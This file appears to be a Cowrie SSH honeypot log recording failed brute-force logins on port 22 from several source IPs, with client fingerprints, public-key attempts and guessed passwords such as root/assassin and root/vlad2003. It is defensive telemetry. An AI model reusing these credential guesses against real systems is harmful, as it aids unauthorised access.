{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:62:42:05:d9:14:f6:01:7f:36:82:02:5f:98:e5:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg+ylP+PbNpGvG3c4lgeZS9KgDlZVs+/Gy5Ng8zCeEel8oDp9RvjvOhtqZ8RxDKxZNFAITcr2ML6VY5DxaU9JmScbKRNx5POOb1Lt8/oijqKAHmm1tjwwjn6RgASz6z7lo7k+nmdrDC1w2O+PYtajAm7pdYRiO06+m/JfVWbEM99ELuca9ffXNdUIbaa9Yq4/DFtDQPcY+iUxAdu53KacPAG/BiUjnSFumiLHfPCIlA13goqMo8eGf2IsvDhrzT7Cav9V12BC4PBA4g8DSiTPdFs0+XJ4M2ACMWoiVjnlwYvOrEEajP0djE0WQtgR1r+nfURoOaqFFNk+tVuyIVGSN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:62:42:05:d9:14:f6:01:7f:36:82:02:5f:98:e5:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:07.619488Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:62:42:05:d9:14:f6:01:7f:36:82:02:5f:98:e5:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg+ylP+PbNpGvG3c4lgeZS9KgDlZVs+/Gy5Ng8zCeEel8oDp9RvjvOhtqZ8RxDKxZNFAITcr2ML6VY5DxaU9JmScbKRNx5POOb1Lt8/oijqKAHmm1tjwwjn6RgASz6z7lo7k+nmdrDC1w2O+PYtajAm7pdYRiO06+m/JfVWbEM99ELuca9ffXNdUIbaa9Yq4/DFtDQPcY+iUxAdu53KacPAG/BiUjnSFumiLHfPCIlA13goqMo8eGf2IsvDhrzT7Cav9V12BC4PBA4g8DSiTPdFs0+XJ4M2ACMWoiVjnlwYvOrEEajP0djE0WQtgR1r+nfURoOaqFFNk+tVuyIVGSN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:07.623564Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:07.707814Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.0.104.39","src_port":45852,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbdb1a3b6918","protocol":"ssh","message":"New connection: 128.0.104.39:45852 (10.17.0.5:22) [session: dbdb1a3b6918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:20.495818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:20.500909Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:20.691500Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:f1:e8:f2:04:5a:12:9b:f5:68:36:a3:c5:a3:0d:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzbX8mpYlLF9ohpeRHRlWcI4eqF/m+Dx4iDXyyOPgezCIVY4jN847biinjms1sgDmTIe+eonHvyvL07HI7LiINVsKj1MKyGM8EDXDlToFWxjilgQz9j86e6UDpVRA1XH8zcqAK/y/6gVfG0gkpeODGazJqCR7K3gGrTLAyRnmhkOt+b7URasDwXndRZQA1t6hvOOycVXKnbcWHAhgWYOGua6Xi8ZqHWzOItJoVQgsk0fa6vg3wjOYOsqRSZWAtc826t4pFQr34zh2GRFYs8hkG1+bzExX5KcvipnLVPF23cYGtoWf9HfIex+GXGxhvku4XiAfudeU2wU2IYAbtxhydw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:f1:e8:f2:04:5a:12:9b:f5:68:36:a3:c5:a3:0d:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:21.795180Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:f1:e8:f2:04:5a:12:9b:f5:68:36:a3:c5:a3:0d:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzbX8mpYlLF9ohpeRHRlWcI4eqF/m+Dx4iDXyyOPgezCIVY4jN847biinjms1sgDmTIe+eonHvyvL07HI7LiINVsKj1MKyGM8EDXDlToFWxjilgQz9j86e6UDpVRA1XH8zcqAK/y/6gVfG0gkpeODGazJqCR7K3gGrTLAyRnmhkOt+b7URasDwXndRZQA1t6hvOOycVXKnbcWHAhgWYOGua6Xi8ZqHWzOItJoVQgsk0fa6vg3wjOYOsqRSZWAtc826t4pFQr34zh2GRFYs8hkG1+bzExX5KcvipnLVPF23cYGtoWf9HfIex+GXGxhvku4XiAfudeU2wU2IYAbtxhydw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:21.798237Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:5b:42:09:eb:06:ed:52:e7:85:18:1e:a7:47:a6:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2q5wkobZCLBpXid5Hz8t7hh1gTtG/hdDU7U/jSila+6Z+zUrCIwCX+1v9q/9UpcudX8MkUrJe36BE913G3UqcoghncP2H6mp3EIeyPx3KdVCWam336rYvlzXQAw0beRiXP7e+ipW8HOt46iFLIGBmuV1E+GHwtzp0nelB2yjQv0aK6oWe17X8+XMnpf5ORWDikK4YKbkLod5ppePSNiVvADFGyx+ugqhh+9ZMHhTJj79A7KZOKfC7LbaEhUIypY0UNKpnpuGGkB9sOoJpcqzN8Oarc/mGxoDWDVakbYxeutgwX0vkHc/hlwK1mroZ5eXaQhXJGHzgyPivPc5RkvyFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:5b:42:09:eb:06:ed:52:e7:85:18:1e:a7:47:a6:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:21.921809Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:5b:42:09:eb:06:ed:52:e7:85:18:1e:a7:47:a6:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2q5wkobZCLBpXid5Hz8t7hh1gTtG/hdDU7U/jSila+6Z+zUrCIwCX+1v9q/9UpcudX8MkUrJe36BE913G3UqcoghncP2H6mp3EIeyPx3KdVCWam336rYvlzXQAw0beRiXP7e+ipW8HOt46iFLIGBmuV1E+GHwtzp0nelB2yjQv0aK6oWe17X8+XMnpf5ORWDikK4YKbkLod5ppePSNiVvADFGyx+ugqhh+9ZMHhTJj79A7KZOKfC7LbaEhUIypY0UNKpnpuGGkB9sOoJpcqzN8Oarc/mGxoDWDVakbYxeutgwX0vkHc/hlwK1mroZ5eXaQhXJGHzgyPivPc5RkvyFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:21.925873Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:55:ea:3f:c4:17:bc:57:5a:5d:ad:eb:67:c2:68:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDaKYfVvqn6NdAfoglXLhySs/1iaWGZ/p36M/zLO6ZV8l5QUnN2BENsnPg/lhM6wxvCfwClYFz4xxHwl59tZDiwIMzSO4xZAykH09+37mxo37p7FJOOVyc0jvG77OFhFPUaKC6yA3MhwwV/ZJObVjp/rAxT3kcrK+W/YqInGjHa5cDPfcZ/X1/J02If9tQs7B/wnqgRMV7ZJbbSAaLUNouzPfiA9OT7xUplu5uPqiNVrgZHK4jN9otMuM1+gotSDDC+GSONt/njFr1YAOXRWu6B8+lkWGp/2vlItAk9lHllc/R9QfwP6+yraBCc38lI0zU1ztGEtMyUUowVYwxTvNJGGe5gKJL3yFmuVfBfuzU+Qz5hDLwRjJ43yuEzZ2NyLG6Jro2WIXjbDnteeXAhWQPUGKbZJ9VfKhG8nNoF+H09fs4U1ObPGgCp9R3/TXkadPbjo+A8GuhKvC4hMnHgKz4AD5o8Vke2W6Yte5/ZyCHgx6mui1rSiMLhas+we+Cm4vU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:55:ea:3f:c4:17:bc:57:5a:5d:ad:eb:67:c2:68:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:22.116102Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:55:ea:3f:c4:17:bc:57:5a:5d:ad:eb:67:c2:68:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDaKYfVvqn6NdAfoglXLhySs/1iaWGZ/p36M/zLO6ZV8l5QUnN2BENsnPg/lhM6wxvCfwClYFz4xxHwl59tZDiwIMzSO4xZAykH09+37mxo37p7FJOOVyc0jvG77OFhFPUaKC6yA3MhwwV/ZJObVjp/rAxT3kcrK+W/YqInGjHa5cDPfcZ/X1/J02If9tQs7B/wnqgRMV7ZJbbSAaLUNouzPfiA9OT7xUplu5uPqiNVrgZHK4jN9otMuM1+gotSDDC+GSONt/njFr1YAOXRWu6B8+lkWGp/2vlItAk9lHllc/R9QfwP6+yraBCc38lI0zU1ztGEtMyUUowVYwxTvNJGGe5gKJL3yFmuVfBfuzU+Qz5hDLwRjJ43yuEzZ2NyLG6Jro2WIXjbDnteeXAhWQPUGKbZJ9VfKhG8nNoF+H09fs4U1ObPGgCp9R3/TXkadPbjo+A8GuhKvC4hMnHgKz4AD5o8Vke2W6Yte5/ZyCHgx6mui1rSiMLhas+we+Cm4vU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:22.120347Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:c6:bc:d5:af:ed:8e:11:57:eb:28:09:c0:38:78:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbTh+/8fm6fN90Jl7hsWj6kGuLIH/bfpb/AzTntXdcAumrQSdD1yU6PeMHjz275rhsWyyxMgekEYB+ly2Acsf4J1lg0TNO1qJu/nhSzYkJabUXZQ9n5zhSgrh6uJZ+mvdQzesOdMZ5ck9XiAEBZ1tCAfH4cu7clviCgstMTcJEeTDnd63IH+D4xY7w3rTqblSfYWmwAu66pFN9hZn4cEWFI15OlJV11gT6p7o7XPJCtkddF/3uKry870AHYuSiJZDPAaGp5mog1+XXrP3DFf5NbZYnNwl999Wau41Swufb3pAE8YXEiWCMfreAd5aBNWiekSYPAR30tdvhguMT0Vfx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:c6:bc:d5:af:ed:8e:11:57:eb:28:09:c0:38:78:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:22.305040Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:c6:bc:d5:af:ed:8e:11:57:eb:28:09:c0:38:78:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbTh+/8fm6fN90Jl7hsWj6kGuLIH/bfpb/AzTntXdcAumrQSdD1yU6PeMHjz275rhsWyyxMgekEYB+ly2Acsf4J1lg0TNO1qJu/nhSzYkJabUXZQ9n5zhSgrh6uJZ+mvdQzesOdMZ5ck9XiAEBZ1tCAfH4cu7clviCgstMTcJEeTDnd63IH+D4xY7w3rTqblSfYWmwAu66pFN9hZn4cEWFI15OlJV11gT6p7o7XPJCtkddF/3uKry870AHYuSiJZDPAaGp5mog1+XXrP3DFf5NbZYnNwl999Wau41Swufb3pAE8YXEiWCMfreAd5aBNWiekSYPAR30tdvhguMT0Vfx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:22.308855Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:da:f7:89:9f:f1:51:15:db:11:83:96:a7:32:9a:ae","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICUuatobCFQjP1uBfwxiTlh9I06y3OkuV9gW7VuHe2Ou","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 31:da:f7:89:9f:f1:51:15:db:11:83:96:a7:32:9a:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:22.481599Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:da:f7:89:9f:f1:51:15:db:11:83:96:a7:32:9a:ae","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICUuatobCFQjP1uBfwxiTlh9I06y3OkuV9gW7VuHe2Ou","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:22.485027Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:22.667997Z","src_ip":"128.0.104.39","session":"dbdb1a3b6918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":59708,"dst_ip":"159.203.135.109","dst_port":22,"session":"31754e08cb12","protocol":"ssh","message":"New connection: 193.32.162.151:59708 (159.203.135.109:22) [session: 31754e08cb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:53.191133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:53.195101Z","src_ip":"193.32.162.151","session":"31754e08cb12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:53.298000Z","src_ip":"193.32.162.151","session":"31754e08cb12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:53.733487Z","src_ip":"193.32.162.151","session":"31754e08cb12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:54.841377Z","src_ip":"193.32.162.151","session":"31754e08cb12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54542,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb5fa000af38","protocol":"ssh","message":"New connection: 109.237.96.109:54542 (159.203.135.109:22) [session: bb5fa000af38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:38:15.988342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:38:15.994408Z","src_ip":"109.237.96.109","session":"bb5fa000af38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:38:16.097667Z","src_ip":"109.237.96.109","session":"bb5fa000af38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"assassin","message":"login attempt [root/assassin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:38:16.384222Z","src_ip":"109.237.96.109","session":"bb5fa000af38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:38:17.481369Z","src_ip":"109.237.96.109","session":"bb5fa000af38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":51920,"dst_ip":"10.17.0.5","dst_port":22,"session":"764a589748b9","protocol":"ssh","message":"New connection: 147.45.199.80:51920 (10.17.0.5:22) [session: 764a589748b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:38:31.182605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:38:31.187270Z","src_ip":"147.45.199.80","session":"764a589748b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:38:31.307886Z","src_ip":"147.45.199.80","session":"764a589748b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad2003","message":"login attempt [root/vlad2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:38:31.604803Z","src_ip":"147.45.199.80","session":"764a589748b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:38:32.707482Z","src_ip":"147.45.199.80","session":"764a589748b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":57708,"dst_ip":"10.17.0.5","dst_port":22,"session":"05fd38791587","protocol":"ssh","message":"New connection: 103.172.78.219:57708 (10.17.0.5:22) [session: 05fd38791587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:39:42.647207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:39:42.655449Z","src_ip":"103.172.78.219","session":"05fd38791587","protocol":"ssh"}
